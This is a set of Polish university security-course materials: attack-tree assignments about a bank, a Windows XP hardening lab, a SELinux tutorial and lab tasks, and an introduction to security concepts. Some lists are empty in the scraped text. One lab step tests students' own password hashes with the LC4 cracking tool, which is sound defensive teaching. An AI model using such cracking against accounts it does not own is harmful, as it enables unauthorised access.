1. To zadanie jest z rozmysłem źle postawione (tzn. możliwa jest
więcej niż jedna właściwa odpowiedź). To złe postawienie ma na celu
wybadanie w Was wrażliwości na sprawy bezpieczeństwa.
2. Dodatkowo problemy związane z analizą bezpieczeństwa w prawdziwym
życiu są zawsze źle postawione.
3. W zadaniu chcemy, żeby Państwo przeprowadzili raczej analizę sytemu
i całej sytuacji niż konkretnego protokołu - analiza bezpieczeństwa to
zawsze analiza całościowa. Sam protokół jednak powinien przewinąć się
w Waszej analizie. Na przykład zrobienie całej analizy i
przedstawienie do oceny tylko tych gałęzi, które będą nawiązywały do
protokołu, będzie oceniane źle; dobrze będzie natomiast oceniane
zrobienie dogłębnej analizy z bardzo wieloma gałęziami, z których
pewne będą nawiązywały do wyżej wspomnianego protokołu.
4. W zadaniu nie ma mowy o protokołach kryptograficznych, żeby mocniej
zwrócić Państwa uwagę na fakt, że bezpieczeństwo to nie tylko
kryptografia.
5. Bardzo ważną rzeczą w tego typu analizie jest jej systematyczność.
6. Można sobie obejrzeć przykładowe rozwiązanie z zeszłych lat, żeby
lepiej zrozumieć, jak mają wyglądać rozwiązania. W szczególności
należy zwrócić uwagę, że rozwiązania istotnie krótsze będą uważane za
istotnie gorsze.
1. Obsługa IT banku Green Forest Bank dostała zadanie zrobienia kompleksowej analizy zagrożeń bezpieczeństwa systemów komputerowych firmy.
2. Opracuj drzewo ataku zawierające analizę tych zagrożeń. Opisz chronione wartości oraz przyjmij model odpowiednio silnego atakującego, aby wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej listy. Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci kilku drzew lub drzewa o kilku korzeniach.
Uwagi dotyczące rozwiązania:
1. To zadanie jest z rozmysłem źle postawione (tzn. możliwa jest więcej niż jedna właściwa odpowiedź). To złe postawienie ma na celu wybadanie w Was wrażliwości na sprawy bezpieczeństwa.
2. Dodatkowo problemy związane z analizą bezpieczeństwa w prawdziwym życiu są zawsze źle postawione.
3. W zadaniu chcemy, żeby Państwo przeprowadzili raczej analizę sytemu i całej sytuacji - analiza bezpieczeństwa to zawsze analiza całościowa.
4. W zadaniu nie ma mowy o protokołach kryptograficznych, żeby mocniej zwrócić Państwa uwagę na fakt, że bezpieczeństwo to nie tylko kryptografia.
5. Bardzo ważną rzeczą w tego typu analizie jest jej systematyczność. Zastanów się, jakie węzły będą systematyzować analizę.
6. Można sobie obejrzeć przykładowe rozwiązanie z zeszłych lat, żeby lepiej zrozumieć, jak mają wyglądać rozwiązania. W szczególności należy zwrócić uwagę, że rozwiązania istotnie krótsze będą uważane za istotnie gorsze.
7. Zadanie będzie wracało na zajęciach w kilku odsłonach. Po każdej grupie zajęć należy sobie zadać trud i wzbogacić swoje rozwiązanie.
1. Obsługa IT księgarni Green Forest Bank dostała zadanie zrobienia kompleksowej analizy zagrożeń bezpieczeństwa systemów komputerowych firmy.
2. Opracuj drzewo ataku zawierające analizę tych zagrożeń. Opisz chronione wartości oraz przyjmij model odpowiednio silnego atakującego, aby wyłapać jak najwięcej zagrożeń. Zapisz drzewo w postaci wypunktowanej listy. Jeśli uznasz za stosowne, możesz zapisać rozwiązanie w postaci kilku drzew lub drzewa o kilku korzeniach.
Uwagi dotyczące rozwiązania:
1. To zadanie jest z rozmysłem źle postawione (tzn. możliwa jest więcej niż jedna właściwa odpowiedź). To złe postawienie ma na celu wybadanie w Was wrażliwości na sprawy bezpieczeństwa.
2. Dodatkowo problemy związane z analizą bezpieczeństwa w prawdziwym życiu są zawsze źle postawione.
3. W zadaniu chcemy, żeby Państwo przeprowadzili raczej analizę sytemu i całej sytuacji - analiza bezpieczeństwa to zawsze analiza całościowa.
4. W zadaniu nie ma mowy o protokołach kryptograficznych, żeby mocniej zwrócić Państwa uwagę na fakt, że bezpieczeństwo to nie tylko kryptografia.
5. Bardzo ważną rzeczą w tego typu analizie jest jej systematyczność. Zastanów się, jakie węzły będą systematyzować analizę.
6. Można sobie obejrzeć przykładowe rozwiązanie z zeszłych lat, żeby lepiej zrozumieć, jak mają wyglądać rozwiązania. W szczególności należy zwrócić uwagę, że rozwiązania istotnie krótsze będą uważane za istotnie gorsze.
7. Zadanie będzie wracało na zajęciach w kilku odsłonach. Po każdej grupie zajęć należy sobie zadać trud i wzbogacić swoje rozwiązanie.
Systemy operacyjne z rodziny Microsoft Windows należą niewątpliwie do liderów popularności na rynku systemów operacyjnych. W większości zastosowań domowych popularne "windowsy" sprawdzają się bardzo dobrze, co owocuje dużym przywiązaniem użytkowników do tych produktów. Istnieją zastosowania, w których systemy te słabo bądź w ogóle nie sprawdzają się, jednakże z powodu wygody użytkowania i przystępnego środowiska graficznego są liderem na rynku systemów biurkowych. Systemy MS Windows posiadają wbudowane mechanizmy podwyższające bezpieczeństwo i znajomość tych podstawowych rozwiązań powinna być znana każdemu użytkownikowi tych systemów. W niniejszym opracowaniu zostaną przedstawione różne aspekty podnoszenia poziomu bezpieczeństwa pracy w systemach MS Windows XP. Rozwiązania prezentowane należą do grupy zabiegów określanych mianem utwardzanie systemu (ang. system hardening) i mają na celu podniesienie poziomu bezpieczeństwa oferowanego przez system.
Pierwszą czynnością podczas pracy z systemem Windows XP jest zalogowanie się do systemu. W większości wypadków konto, na które następuje logowanie, jest chronione hasłem użytkownika. Możliwe jest również automatyczne logowanie na konto danego użytkownika bez podawania hasła. Jednak taka konfiguracja nie jest zalecana. System Windows posiada rozbudowane możliwości konfigurowania kont użytkowników i procedury logowania. Opcje konfiguracyjne zlokalizowane są w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady konta". Dostęp do "Ustawień zabezpieczeń lokalnych" można uzyskać poprzez okno "Panel sterowania" i dalej "Narzędzia administracyjne" lub przez uruchomienie polecenia secpol.msc.
Dostępne opcje to m.in.:
System Windows oferuje możliwość inspekcji (ang. logging), czyli rejestrowania, różnych zdarzeń zachodzących w systemie (np. logowania na konto, użycia uprawnień itp.). Inspekcję poszczególnych zdarzeń można włączyć poprzez okno "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Zasady inspekcji". Zarejestrowane zdarzenia można przeglądać za pomocą programu
"Podgląd zdarzeń", dostępnego z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia eventvwr.msc.
Niektóre ze zdarzeń mogących podlegać inspekcji to:
Wszelkie konta (w tym szczególnie konta zakładane domyślnie przez system lub aplikacje), poza rzeczywiście niezbędnymi, powinny być zablokowane (lub usunięte). Dezaktywacji konta (oraz zmiany innych właściwości) można dokonać poprzez okno "Zarządzanie komputerem", w podgrupie "Narzędzia systemowe", a dalej "Użytkownicy i grupy lokalne", "Użytkownicy". Dostęp do "Zarządzania
komputerem" można uzyskać z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia compmgmt.msc.
Konta użytkowników uprzywilejowanych należy szczególnie starannie chronić przed wykorzystaniem przez osoby nieuprawnione. W pewnym stopniu można utrudnić nielegalne wykorzystanie konta Administratora (włamanie) przez zmianę standardowej nazwy tego konta, często oczekiwanej przez intruzów. Jednak wszelkie konta w systemie posiadają oprócz nazw także identyfikatory numeryczne, które nie ulegają zmianie nawet po ewentualnej zmianie nazwy konta (zaawansowane metody ataku korzystają z takich identyfikatorów). Nazwę użytkownika uprzywilejowanego można zmienić w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Opcje zabezpieczeń".
System plików NTFS umożliwia związanie z każdym zasobem plikowym (w tym katalogiem) listy kontroli dostępu ACL (Access Control List). Dostęp do prostych ustawień ACL pliku (katalogu) jest możliwy z poziomu np. "Eksploratora Windows" w opcji "Właściwości" (menu "Plik" lub kontekstowe), w zakładce "Zabezpieczenia". Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".
Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".
UWAGA! Może się zdarzyć, że zakładka "Zabezpieczenia" jest ukryta. Należy wtedy upewnić się, że korzystamy z systemu plików NTFS (FAT32 nie obsługuje ACL) i wykonać następujące czynności: otworzyć okno "Eksploratora", z menu "Narzędzia" wybrać "Opcje folderów..." i w zakładce "Widok" odznaczyć opcję "Użyj prostego udostępniania plików (zalecane)", a następnie zastosować zmiany.
Listy kontroli dostępu w NTFS są bardziej rozbudowane niż POSIX ACL. Oprócz standardowych praw oczytu, zapisu i wykonywania, udostępniają m.in.:
System plików NTFS umożliwia również ochronę kryptograficzną zasobów plikowych, metodą szyfrowania symetrycznego (algorytmem DESX).
Dostęp do tej opcji mamy również z poziomu "Właściwości" pliku, wybierając opcję "Zaawansowane..." w zakładce "Ogólne". Użyty do szyfrowania klucz właściciela pliku przechowywany jest w certyfikacie użytkownika. Razem z nim system operacyjny utrzymuje też klucz uniwersalny usługi systemowej Data Recovery Agent. Klucze te są widoczne w aplikacji Microsoft Management Console (program mmc).
Aby je zobaczyć, należy w oknie MMC z menu "Plik" wybrać opcję "Dodaj/Usuń przystawkę" (np. klawiszem Ctrl-M), a następnie dodać przystawkę "Certyfikaty – bieżący użytkownik".
Rdzennymi w środowisku MS Windows protokołami sieciowymi obsługującymi zasoby udostępniane w otoczeniu sieciowym są NetBIOS (Network Basic Input/Output System) i SMB (Server Message Block). Nie są to, niestety, wyrafinowane protokoły, szczególnie pod względem bezpieczeństwa. Udziałami nazywa się w protokole SMB udostępnione poprzez sieć zasoby systemu operacyjnego. Polecenie
net z argumentem share pozwala wyświetlić listę udziałów bieżącego systemu.
Systemy MS Windows bezpośrednio po instalacji tworzą pewne udziały domyślne (dla Windows XP są to np. C$ oraz ADMIN$), które, jakkolwiek na ogół nie stanowią istotnej luki ezpieczeństwa, często nie są potrzebne i powinny być wyłączone. W tym celu niezbędna jest modyfikacja rejestru systemowego. Dla systemu Windows XP w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość AutoShareWks typu DWORD równą 0 i ponownie uruchomić system.
W systemie Windows XP istnieje możliwość ukrycia nazwy bieżącego komputera w otoczeniu sieciowym, z zachowaniem jednocześnie możliwości udostępniania zasobów. Ukrycie takie w czasie bieżącej sesji umożliwia polecenia net z argumentem config server:
C:\> net config server /hidden:yes
/hidden – opcja ukrycia nazwy w otoczeniu sieciowym, możliwe wartości yes oraz no.
Aby trwale uczynić nazwę bieżącego komputera niewidoczną w otoczeniu sieciowym, należy zmodyfikować wpis w rejestrze systemowym: w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość Hidden typu DWORD równą 1.
W systemie Windows XP SP 2 dostępne jest "Centrum zabezpieczeń" zawierające m.in. "Zaporę sieciową".
Niestety ta prosta zapora nie umożliwia precyzyjnej kontroli ruchu sieciowego.
Z tego powodu nieodzowne jest zainstalowanie oddzielnego produktu typu Personal Firewall. Dobrym przykładem może być Kerio Personal Firewall (firmy Kerio), który pozwala na wielopoziomowe filtrowanie ruchu sieciowego.
Systemy z rodziny MS Windows są bardzo popularne. Nie wszystkie elementy systemu stoją na tak wysokim poziomie jak graficzny interfejs użytkownika. W Internecie można znaleźć wiele przykładów na to, że systemy te są podatne na wiele groźnych ataków, w których wyniku użytkownicy mogą być narażeni na utratę dany, szantaże i straty materialne spowodowane kradzieżą numerów kont, haseł itp. Firma Microsoft dokłada starań, aby jej produkty były coraz mniej podatne na różnego typu ataki, jednak nie zwalnia to użytkowników od interesowania się bezpieczeństwem systemu operacyjnego, którego używają na co dzień. Dlatego też podstawowa wiedza z dziedziny szeroko rozumianego bezpieczeństwa systemów komputerowych i informacji jest konieczna do przyswojenia, jeśli użytkownicy nie chcą być biernymi obserwatorami nadużyć komputerowych popełnianych na ich systemach operacyjnych.
1. Utwórz konto użytkownika test1 z hasłem test.
2. Zweryfikuj trudność złamania haseł w systemie za pomocą wybranego narzędzia typu reactive password checking (np. LC4, który można pobrać ze strony www.net-security.org).
3. Włącz opcję "Hasło musi spełniać wymagania co do złożoności" w "Ustawieniach zabezpieczeń lokalnych" i ustaw następujące parametry:
a. maksymalny wiek hasła: 42 dni,
b. minimalna długość hasła: 8 znaków,
c. minimalny okres ważności hasła: 2 dni,
d. 24 ostatnie hasła pamiętane w historii,
e. wyłączone odwracalne szyfrowanie haseł,
f. utwórz użytkownika "test2" w tak zmienionym środowisku.
4. Ustaw i przetestuj następujące parametry blokady konta:
a. próg blokady: 4 próby,
b. czas trwania blokady: 30 minut,
c. zerowanie licznika prób: po 30 minutach.
5. Wyłącz przechowywanie skrótów kryptograficznych haseł w postaci LMhash:
a. Znajdź i włącz opcję "Zabezpieczenia sieci: nie przechowuj wartości hash programu LAN Manager" w "Zasadach zabezpieczeń lokalnych".
b. Sprawdź ponownie programem LC4, czy skróty Lmhash są dostępne.
6. Włącz i przetestuj inspekcję zdarzeń logowania zakończonych sukcesami i niepowodzeniem.
7. Zidentyfikuj i wyłącz nieużywane konta.
8. Zmień nazwę konta Administratora, np. na Szef.
9. Przetestuj dodawanie i usuwanie zaawansowanych opcji dostępu do pliku i katalogu między użytkownikami test1 i test2.
10. Utwórz plik tekstowy tajne.txt o dowolnej treści. Wyświetl jego zawartość w Eksploratorze oraz w konsoli tekstowej (np. poleceniem type). Następnie:
a. Zaszyfruj ten plik i spróbuj ponownie wyświetlić jego zawartość.
b. Wyświetl informacje o zaszyfrowanym pliku poleceniem efsinfo.
c. Odszukaj certyfikat EFS klucza szyfrowania.
d. Zaloguj się jako inny użytkownik i spróbuj wyświetlić zawartość tego pliku.
11. Usuń udziały domyślne swojego stanowiska komputerowego. Zweryfikuj rezultat.
12. Sprawdź widoczność swojego stanowiska w otoczeniu sieciowym. Przetestuj ukrywanie jego nazwy. Czy cały czas możliwe jest korzystanie z udostępnianych zasobów?
13. Używając zapory sieciowej, zablokuj całkowicie komunikację z wykorzystaniem protokołu ICMP. Przetestuj konfigurację za pomocą polecenia ping.
Utwardzanie ochrony systemu operacyjnego jest szczególnie ważne dla serwerów pracujących bezustannie oraz dla serwerów o zakładanym wysokim poziomie bezpieczeństwa przechowujących tajne dane. System taki powinien być odporny na większość (jeśli nie wszystkie) możliwe próby ataku lub włamania. Oczywiście jest to bardzo trudne do osiągnięcia, jeśli w ogóle możliwe. Już w latach
80. zaczęto się zastanawiać nad zwiększeniem bezpieczeństwa systemów serwerowych. Głównymi inicjatorami tych rozszerzeń były organizacje wojskowe i rządowe, które musiały dobrze chronić informacje. Zaproponowano wówczas nowy model bezpieczeństwa - Obowiązkową Kontrolę Dostępu (MAC), zamiast aktualnie wykorzystywanej Uznaniowej Kontroli Dostępu (DAC).
Rozwój systemów wykorzystujących politykę MAC jest dosyć powolny, głównie ze względu na trudności administracyjne tych systemów. Jednak ich ogromnym plusem jest odporność na większość ataków, włamań - warunkiem jednakże jest poprawne skonfigurowanie polityki, co jest zadaniem bardzo trudnym.
Niniejsze ćwiczenie ma zaznajomić z utwardzaniem ochrony na przykładzie systemu wykorzystującego politykę MAC o nazwie SELinux (Security-Enhanced Linux).
SELinux został stworzony przez NSA na własne potrzeby. Został on udostępniony społeczności w 2000 roku na licencji GPL. Od wersji jądra 2.6.0-test3 jest dostępny w podstawowym jądrze Linuksa - co nie oznacza, że zawsze jest włączony. Obecnie jest rozwijany przez społeczność oraz wiele firm związanych z Linuksem (w tym intensywnie przez RedHat).
SELinux to nie tylko rozbudowa jądra systemu o dodatkową kontrolę dostępu, ale również kilka narzędzi konfiguracyjnych oraz przede wszystkim zestaw polityk definiujących podstawowe uprawnienia różnych procesów. Większość dystrybucji dostarcza zarówno jądro z włączoną obsługą SELinux, jak i podstawowy zestaw polityk.
System ten implementuje połączenie kilku podejść do kontroli dostępu, najistotniejsze to MAC, RBAC (Role-Based Access Control), TE (Type Enforcement). Pozwala to bardzo elastycznie i precyzyjnie definiować dozwolone operacje poszczególnych elementów systemu, np. skrypt używany do tworzenia kopii zapasowych może mieć inne prawa dostępu do plików (obiektów VFS), gdy jest uruchamiany przez użytkownika interaktywnego (np. zalogowanego z konsoli), a inne, gdy jest uruchamiany jako ten sam użytkownik (!) z cron-a.
SELinux rozdziela obiekty w systemie na dwie kategorie:
Wszystkie podmioty i przedmioty operacji mają nadany "kontekst bezpieczeństwa". W przypadku procesów nazywa się go domeną, a w przypadku plików - file_context. Polityki (zasady) określają z jakiej domeny jakie operacje są dozwolone na poszczególnych file_contextach oraz jak i jakie są dozwolone przejścia pomiędzy domenami. Konteksty plików są przechowywane w rozszerzonych atrybutach (xattr), dla nowych plików są dziedziczone po katalogach (o ile polityka nie wskaże inaczej). Konteksty procesów są przechowywane w strukturze opisującej proces w jądrze (task_struct) i dla nowych procesów są dziedziczone po rodzicu (o ile
polityka nie wskaże inaczej).
Zasady mogą być podzielone na moduły, co ułatwia zarządzanie poszczególnymi elementami.
SELinux może pracować w trzech trybach:
Oprócz powyższych trybów ochrona może być na trzech poziomach:
W nowszych systemach (m.in. w labie 5790) poziomy strict i targeted są zastąpione poziomem default. W praktyce jest on nieznacznie zmodyfikowanym dotychczasowym poziomem targeted.
Ze względu na ograniczony czas na tych zajęciach zajmiemy się jedynie częścią funkcjonalności systemu SELinux. Zainteresowanych całością systemu odsyłamy do strony http://selinuxproject.org/.
W większości dystrybucji SELinux jest dostarczany razem z dystrybucją (domyślnie zainstalowany lub jako opcja). W systemach RedHat (RedHat Enterprise Linux, CentOS, Fedora) SELinux będzie domyślnie zainstalowany wraz z zestawem polityk.
W Debianie będzie trzeba doinstalować kilka pakietów:
$ apt-get install selinux-basics
Następnie trzeba wydać poniższe polecenie i zrestartować system:
$ selinux-activate
Doda ono opcję "selinux=1" do parametrów jądra w bootloaderze GRUB oraz utworzy plik /.autorelabel. Przy najbliższym starcie systemu wszystkie pliki w sytemie zostaną zaopatrzone w konteksty bezpieczeństwa zgodnie z domyślną polityką.
Domyślnie system będzie pracował w trybie permissive. Aby przełączyć w tryb enforcing należy wydać polecenie:
$ selinux-config-enforcing
Konfiguracja trybu pracy znajduje się w pliku /etc/selinux/config.
Kontekst składa się z kilku elementów:
<użytkownik>:<rola>:<typ>:<MLS>
użytkownik - wskazuje użytkownika, który uruchomił dany proces lub stworzył dany plik.
rola – decyduje o tym, którzy użytkownicy (grupy) mają dostęp do poszczególnych domen.
typ – główna część kontekstu – decyduje o dostępie, jest używana w polityce do zdefiniowania reguł dostępu.
MLS – tylko w nowszych implementacjach – kategoria MLS.
Rola i użytkownik mają małe znaczenie na poziomie targeted/default.
Przykładowy file_context:
system_u:object_r:ifconfig_exec_t:s0 /bin/ip system_u:object_r:home_root_t:s0 /home
Przykładowa domena procesu:
system_u:system_r:httpd_t:s0 /usr/sbin/apache2 -k start
Zasady regulują, które domeny mają dostęp do poszczególnych obiektów. Pojedyncza zasada składa się z następujących elementów:
Przykładowy plik (moduł) definiujący kilka zasad razem z zależnościami znajduje się w pliku example.te (patrz niżej, załączone pliki mają zmienione nazwy: example.te_.txt i example.fc_.txt). W tym pliku znajduje się również bogatsza lista operacji. Przykładowy moduł można skompilować i załadować poleceniami:
checkmodule -M -m -o example.mod example.te semodule_package -o example.pp -m example.mod -f example.fc semodule -i example.pp
W praktyce moduły pisze się za pomocą makr m4. Można obejrzeć je, instalując pakiet selinux-policy-src. Źródła domyślnej polityki będą w /usr/src.
Użytkownicy w domyślnej polityce (w nawiasach dozwolone role):
system_u (system_r) - procesy systemowe,
user_u (user_r) - zwykły, nieuprzywilejowany użytkownik,
staff_u (staff_r, sysadm_r) - administrator systemu wykonujący też nieuprzywilejowane zadania,
sysadm_u (sysadm_r) - administrator systemu,
root (staff_r, sysadm_r) - specjalny użytkownik dla systemowego konta root (do pracy interaktywnej).
$ sestatus # ogólny status systemu SELinux $ sestatus -b # powyższe plus zmienne mogące wpływać na polityki (polityka może ich używać jak normalne zmienne w skryptach) $ getenforce # pobieranie trybu SELinux $ setenforce # ustatawianie trybu SELinux
Powyższe operacje można również uzyskać przez odczytywanie-zapisywanie odpowiednich plików w /selinux (podmontowanym specjalnym systemem plików selinuxfs).
Większość standardowych narzędzi pokazujących informacje o plikach i procesach obsługuje opcję -Z do wyświetlenia dodatkowo kontekstów. Przykłady:
$ id -Z #kontekst (domena) aktualnie zalogowanego użytkownika (jego powłoki) $ ps -Z #kontekst uruchomionych procesów $ ls -Z #kontekst plików
Kontekst pliku zmienia się poleceniem chcon, np:
$ chcon -t user_home_t /tmp/myfile
Można również przywrócić domyślny kontekst wynikający z polityki poleceniem "restorecon".
Niektórych przedmiotów polityki nie da się odwzorować w systemie plików. Są to np. porty tcp/udp. Do zarządzania nimi służy narzędzie semanage. Pozwala ono operować m.in. na:
Obsługa, przykłady:
$ semanage port -l #lista klas portów (będących przedmiotem reguł) $ semanage login -a -s user_u test # połączenie użytkownika systemowego test z użytkownikiem SELinux user_u
Do przełączania się pomiędzy rolami (w ramach swoich uprawnień) służy polecenie:
$ newrole
Polecenie to będzie pytało o hasło użytkownika.
Najczęściej zmieniane parametry polityki można modyfikować poprzez zmienne. Jeśli chcemy wprowadzić jakąś modyfikację polityki, warto najpierw sprawdzić, czy nie ma do tego zmiennej. Do modyfikacji służą narzędzia:
$ getsebool -a # wyświetla listę zmiennych $ setsebool # ustawia wartość zmiennej $ setsebool -P # ustawia wartość zmiennej i zapisuje modyfikację do konfiguracji (będzie działała również po restarcie systemu)
Część zmian wymaga ingerencji w samą polityce. Najłatwiej takie zmiany wprowadzić przez przygotowanie osobnego modułu. Po przygotowaniu pliku .te z zasadami należy skompilować plik poleceniem:
$ checkmodule -M -m -o module.mod module.te $ semodule_package -o module.pp -m module.mod
a następnie załadować moduł do jądra:
$ semodule -i module.pp
załadowane moduły można wylistować tak:
$ semodule -l
Warto też przejrzeć pozostałe opcje poleceń semodule, semanage.
Jeśli ręcznie restartujemy jakąś usługę, to, aby była uruchomiona w odpowiednim kontekście, należy uruchamiać ją przez run_init:
$ run_init /etc/init.d/ssh start
Polecenie to będzie pytało o hasło użytkownika root.
System zapisuje w dzienniku większość operacji zablokowania dostępu (konkretnie te, które nie są wyłączone regułą dontaudit). Są one przechowywane razem z innymi komunikatami jądra (w Debianie /var/log/kern.log). Każda linia zawiera informację, jaka akcja przez kogo i na jakim obiekcie została zablokowana. Przykładowa linia:
[28982.648028] type=1400 audit(1287270591.742:1243870): avc: denied { read }
for pid=8745 comm="cat" name="example-file" dev=sda1 ino=125781
scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:example_file_t:s0
tclass=file
widać tu po kolei:
- denied { read } - zablokowaną akcją jest odczyt
- pid=8745 - pid procesu, któremu odmówiono dostępu
- comm="cat" - nazwa procesu
- name="example-file" dev=sda1 ino=125781 - przedmiot akcji (tutaj plik "example-file" na urządzeniu sda1 o numerze i-węzła 125781)
- scontext=user_u:user_r:user_t:s0 - kontekst procesu wykonującego akcję (source-context)
- tcontext=system_u:object_r:example_file_t:s0 - kontekst przedmiotu akcji (target-context)
- tclass=file - klasa przedmiotu
Korzystając ze skryptu audit2allow, można łatwo stworzyć regułę zezwalającą na daną akcję. Przykłady:
$ cat /var/log/kern.log | audit2allow #wypisuje nowe reguły $ cat /var/log/kern.log | audit2allow -M local #tworzy (ale nie ładuje) moduł "local" zawierający reguły zezwalające
W praktyce, przed załadowaniem tak stworzonych reguł, warto sprawdzić, czy nie zezwalają na więcej niż chcemy. Można też oczywiście do audit2allow przekazywać pojedyncze linie logów, aby utworzyć z nich reguły. To ostatnie użycie zwykle przydaje się przy tworzeniu nowych polityk.
Narzędzie sesearch pozwala znaleźć zasady spełniające podane kryteria. Np. gdy szukamy zasad zezwalających na dowolne operacje wykonywane przez użytkownika user_u (typ user_t) na plikach w etc (typ etc_t), to:
$ sesearch -A -s user_t -t etc_t
1. Zainstaluj narzędzia SELinux oraz włącz w trybie enforcing oraz politykę targeted/default.
2. Utwórz użytkownika setest (i nadaj mu hasło), oraz połącz go z SELinux jako user_u.
3. Sprawdź z jakimi kontekstami są uruchomione procesy przez użytkownika guest, a z jakimi - setest.
4. Sprawdź, czy guest może zobaczyć komunikaty jądra. A setest? Sprawdź co przy tej operacji trafiło do dziennika.
5. Zmodyfikuj konfigurację, tak aby obydwaj mieli dostęp do komunikatów jądra.
6. Sprawdź jakie uprawnienia ma plik /etc/crontab. Czy użytkownicy guest i setest powinni móc go przeczytać? A jak jest w praktyce?
7. Zezwól użytkownikom na odczyt pliku /etc/crontab.
8. Korzystając z modułu polityki example (załączonego do tych materiałów), przygotuj program /bin/example (będący kopią /bin/cat), który będzie mógł jako jedyny przeczytać plik /tmp/example-file.
Wskazówka: pamiętaj o nadaniu odpowiednich kontekstów plikom.
http://wiki.centos.org/HowTos/SELinux
http://www.nsa.gov/research/selinux/
http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml
http://students.mimuw.edu.pl/SO/Projekt05-06/temat5-g7/se/se.html
Załącznik | Wielkość |
---|---|
example.fc_.txt | 235 bajtów |
example.te_.txt | 6.93 KB |
Przygotować skrypt zabezpieczający czysty system RSBAC (z domyślnymi ustawieniami) w następujący sposób:
1. Wszyscy użytkownicy mogą się zalogować w systemie.
2. Serwer ssh pozwala na zdalne logowanie się jedynie użytkownikom u1 i u2.
3. Użytkownik u1 nie może wykonywać żadnych programów oprócz: bash, ls i cat.
4. Użytkownik u2 nie może wykonywać żadnych programów oprócz: bash, ps, kill i killall.
5. Użytkownik u2 ma nadany przywilej KILL z Linux capabilities, a użytkownik root ma ten przywilej odebrany.
Skrypt powinien działać w laboratorium 5490, na wyczyszczonym systemie, z zainstalowanym serwerem ssh i systemem RSBAC oraz dodanymi użytkownikami u1 i u2.
Przygotować skrypt konfigurujący SELinux w następujący sposób:
1. zwykły użytkownik może pingować dowolne komputery,
2. do pliku /home/pliczek da się dostać tylko edytorem nano lub specjalnie przygotowaną jego kopią.
Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t.
Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.
Przygotować skrypt konfigurujący SELinux (i ew inne uprawnienia) w następujący sposób:
1. zwykły użytkownik może odczytać bufor komunikatów jądra.
2. zwykly użytkownik, należący do grupy adm, może czytać plik /var/log/messages.
Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t.
Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.
Przygotuj skrypt konfigurujący SELinux w następujący sposób:
Jako zwykły użytkownik rozumiany jest użytkownik o kontekście
user_u:user_r:user_t.
Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z
zainstalowanym SELinux i włączonym w trybie enforcing, oraz aktywną polityką
targeted.
Przygotuj skrypt konfigurujący SELinux w następujący sposób:
1. administrator może logować się zdalnie za pomocą klienta ssh,
2. zwykły użytkownik może czytać pliki logów, ale jedynie za pomocą programu /bin/less.
Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t, jako administratora rozumiemy użytkownika o kontekście sysadm_u:sysadm_r:sysadm_t.
Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.
Załącznik | Wielkość |
---|---|
slajdy.zip | 3.55 MB |
Przedstawienie problematyki bezpieczeństwa systemów komputerowych systemów komputerowych należy rozpocząć od zdefiniowania pojęcia bezpieczeństwa. Niestety trudno skonstruować uniwersalną i jednoznaczną definicję tego pojęcia, która pokryłaby wszystkie oczekiwania stawiane w tej dziedzinie systemom komputerowym. Literatura przedmiotu podaje bardzo dużo, często znacznie odbiegających od siebie definicji. Przykład ciekawej definicji można znaleźć w [1]:
Bezpieczeństwo jest elementem szerszego kontekstu, nazywanego wiarygodnością systemu komputerowego. W kontekście tym wyróżnia się w sumie cztery atrybuty wiarygodności:
O doniosłości problematyki bezpieczeństwa dla współczesnej cywilizacji decyduje przede wszystkim wszechobecność technik komputerowych. W szczególności rozważyć należy następujące zagadnienia:
Zagrożenia bezpieczeństwa mają różną naturę. Mogą być najzupełniej przypadkowe lub powstać w efekcie celowego działania. Mogą wynikać z nieświadomości lub naiwności użytkownika, bądź też mogą być motywowane chęcią zysku, poklasku lub odwetu. Mogą pochodzić z zewnątrz systemu lub od jego środka.
Większość działań skierowanych w efekcie przeciwko bezpieczeństwu komputerowemu jest w świetle aktualnego prawa traktowana jako przestępstwa. Możemy tu wyróżnić w szczególności:
Istotne jest, iż w przypadku jurysdykcji większości krajów europejskich, praktycznie wszystkie przypadki naruszające bezpieczeństwo wyczerpują znamiona przestępstw określonych w obowiązującym prawie.
W Polsce w szczególności mają tu zastosowanie:
(http://www.gazeta-it.pl/prawo/przestepstwa_komputerowe.html)
Zazwyczaj przestępstwa te nie są ścigane z oskarżenia publicznego, lecz na wniosek pokrzywdzonego.
W kontekście bezpieczeństwa komputerowego powszechnie spotyka użycie popularnego terminu hacker na określenie osoby podejmującej atak. Termin ten oryginalnie nie posiadał wydźwięku pejoratywnego. Wg „The Hacker's Dictionnary" (Guy L. Steele et al.) hacker jest to (1) osoba, której sprawia przyjemność poznawanie szczegółowej wiedzy na temat systemów komputerowych i rozszerzanie tej umiejętności, w przeciwieństwie do większości użytkowników, którzy wolą uczyć się niezbędnego minimum; (2) osoba, która entuzjastycznie zajmuje się programowaniem i nie lubi teorii dotyczącej tej dziedziny. W związku z tym w niniejszych materiałach stosować będziemy bardziej odpowiednie terminy (zależnie od typu rozważanego ataku), takie jak: cracker, intruz, włamywacz, napastnik, wandal czy po prostu - przestępca.
